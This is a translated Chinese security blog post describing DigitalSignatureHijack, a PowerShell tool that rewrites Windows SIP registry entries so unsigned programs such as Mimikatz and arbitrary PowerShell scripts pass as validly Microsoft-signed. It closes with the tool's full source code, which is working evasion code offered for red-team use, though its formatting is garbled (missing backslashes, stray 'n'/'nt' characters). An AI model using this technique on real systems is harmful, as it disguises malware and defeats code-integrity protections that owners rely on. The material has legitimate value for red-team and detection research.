標籤:

劫持數字簽名"洗白"惡意程序

劫持數字簽名是一種可用於繞過設備保護限制,以及在red team評估過程中隱藏自定義惡意軟體的技術。Matt Graeber在他的研究中發現了如何繞過數字簽名散列驗證的方法,並且在他發布的文章中詳細描述了所有的細節。基於這些信息,Digital SignatureHijack腳本的開發是為了使這項技術完全自動化。前面的文章已經描述了有關劫持數字簽名的更多信息。

一般信息

DigitalSignatureHijack基於PowerShell編寫,可以從具有管理許可權的PowerShell控制台執行。這個想法是通過只執行四個命令來快速地對PowerShell腳本和可移植可執行文件進行數字簽名而來的。

命令

該腳本接受以下命令:

· SignExe – 數字簽名的PE可執行文件

· SignPS – 數字簽名PowerShell腳本

· ValidateSignaturePE – PE可執行文件的簽名驗證

· ValidateSignaturePS – PowerShell腳本的簽名驗證

依賴

DigitalSignature-Hijack依賴於Matt Graeber開發的自定義SIP(Subject Interface Package)dll文件。因此,需要將其存儲在目標系統的某個位置,並且需要使用該DLL文件的新位置來更新腳本,否則註冊表劫持將不起作用。

· 編譯版本的MySIP.dll

· MySIP DLL的源代碼

演示

以下是可用於對主機上存在的所有PowerShell腳本和PE可執行文件進行數字簽名的命令列表。

Import-Module .DigitalSignature-Hijack.ps1nSignExenSignPSnValidateSignaturePEnValidateSignaturePSn

對二進位文件進行簽名:

Mimikatz是一個可以從內存轉儲憑據的二進位程序。它不是Windows的一部分,也不是由微軟數字簽名的可執行程序。

未簽名的Mimikatz

執行SignExe命令後,Mimikatz就帶有了微軟官方驗證可通過的證書。

對Mimikatz進行簽名

簽名驗證:

劫持合法的證書將會出現散列不匹配的錯誤,因此數字簽名將無法驗證。

對Mimikatz進行簽名- 無效簽名

執行ValidateSignaturePE命令將正確驗證存儲在系統上的所有PE可執行文件的數字簽名散列。

對Mimikatz進行簽名 – 有效簽名

簽署PowerShell腳本:

DigitalSignature-Hijack PowerShell腳本未簽名。因此,在實施設備防護UMCI(用戶模式代碼完整性)的情況下,需要對其進行簽名。

未簽名的PowerShell腳本

執行命令SignPS將為Microsoft PowerShell腳本提供一個Microsoft證書。

簽名的PowerShell腳本

簽名驗證:

與PE可執行文件一樣,Microsoft也正在對PowerShell腳本的數字簽名進行散列驗證。

PowerShell腳本 – 無效的簽名

執行命令ValidateSignaturePS將繞過散列驗證,因此數字簽名將顯示為有效。

PowerShell腳本 – 有效簽名

下載

DigitalSignatureHijack腳本可以在以下位置中找到:

· 數字簽名劫持

· github.com/netbiosX/Dig

源代碼

<# n DigitalSignatureHijack v1.0 n License: GPLv3 n Author: @netbiosX n#> n# Validate Digital Signature for PowerShell Scripts nfunction ValidateSignaturePS n{ nt$ValidateHashFunc = HKLM:SOFTWAREMicrosoftCryptography +OIDEncodingType 0CryptSIPDllVerifyIndirectData nt# PowerShell SIP Guid nt$PSIPGuid = {603BCC1F-4B59-4E08-B724-D2C6297EF351} nt$PSSignatureValidation = Get-Item -Path "$ValidateHashFunc$PSIPGuid" nt$NewDll = C:UsersUserDesktopSignature SigningBinariesMySIP.dll nt$NewFuncName = AutoApproveHash nt$PSSignatureValidation | Set-ItemProperty -Name Dll -Value $NewDll nt$PSSignatureValidation | Set-ItemProperty -Name FuncName -Value $NewFuncName n} n# Validate Digital Signature for Portable Executables nfunction ValidateSignaturePE n{ nt$ValidateHashFunc = HKLM:SOFTWAREMicrosoftCryptography +OIDEncodingType 0CryptSIPDllVerifyIndirectData nt# PE SIP Guid nt$PESIPGuid = {C689AAB8-8E78-11D0-8C47-00C04FC295EE} n$PESignatureValidation = Get-Item -Path "$ValidateHashFunc$PESIPGuid" nt$NewDll = C:WindowsSystem32ntdll.dll nt$NewFuncName = DbgUiContinue nt$PESignatureValidation | Set-ItemProperty -Name Dll -Value $NewDll nt$PESignatureValidation | Set-ItemProperty -Name FuncName -Value $NewFuncName n} n# Sign PowerShell Scripts with a Microsoft Certificate nfunction SignPS n{ nt$GetCertFunc = HKLM:SOFTWAREMicrosofteCryptography +OIDEncodingType 0CryptSIPDllGetSignedDataMsg nt# PowerShell SIP Guid nt$PSIPGuid = {603BCC1F-4B59-4E08-B724-D2C6297EF351} nt$PEGetMSCert = Get-Item -Path "$GetCertFunc$PSIPGuid" nt$NewDll = C:UsersUserDesktopSignature SigningBinariesMySIP.dll nt$NewFuncName = GetLegitMSSignature nt$PEGetMSCert | Set-ItemProperty -Name Dll -Value $NewDll nt$PEGetMSCert | Set-ItemProperty -Name FuncName -Value $NewFuncName n} n# Sign Portable Executables with a Microsoft Certificate nfunction SignExe n{ nt$GetCertFunc = HKLM:SOFTWAREMicrosoftCryptography +OIDEncodingType 0CryptSIPDllGetSignedDataMsg nt# PE SIP Guid nt$PESIPGuid = {C689AAB8-8E78-11D0-8C47-00C04FC295EE} nt$PEGetMSCert = Get-Item -Path "$GetCertFunc$PESIPGuid" nt$NewDll = C:UsersUserDesktopSignature SigningBinariesMySIP.dll nt$NewFuncName = GetLegitMSSignature nt$PEGetMSCert | Set-ItemProperty -Name Dll -Value $NewDll nt$PEGetMSCert | Set-ItemProperty -Name FuncName -Value $NewFuncName n}n

本文翻譯自:pentestlab.blog/2017/11 ,如若轉載,請註明原文地址: 4hou.com/technology/858 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

ZoomEye 的網站指紋是什麼概念,如何應用?
有什麼逆向程序流程的技巧?
URL編碼

TAG:信息安全 |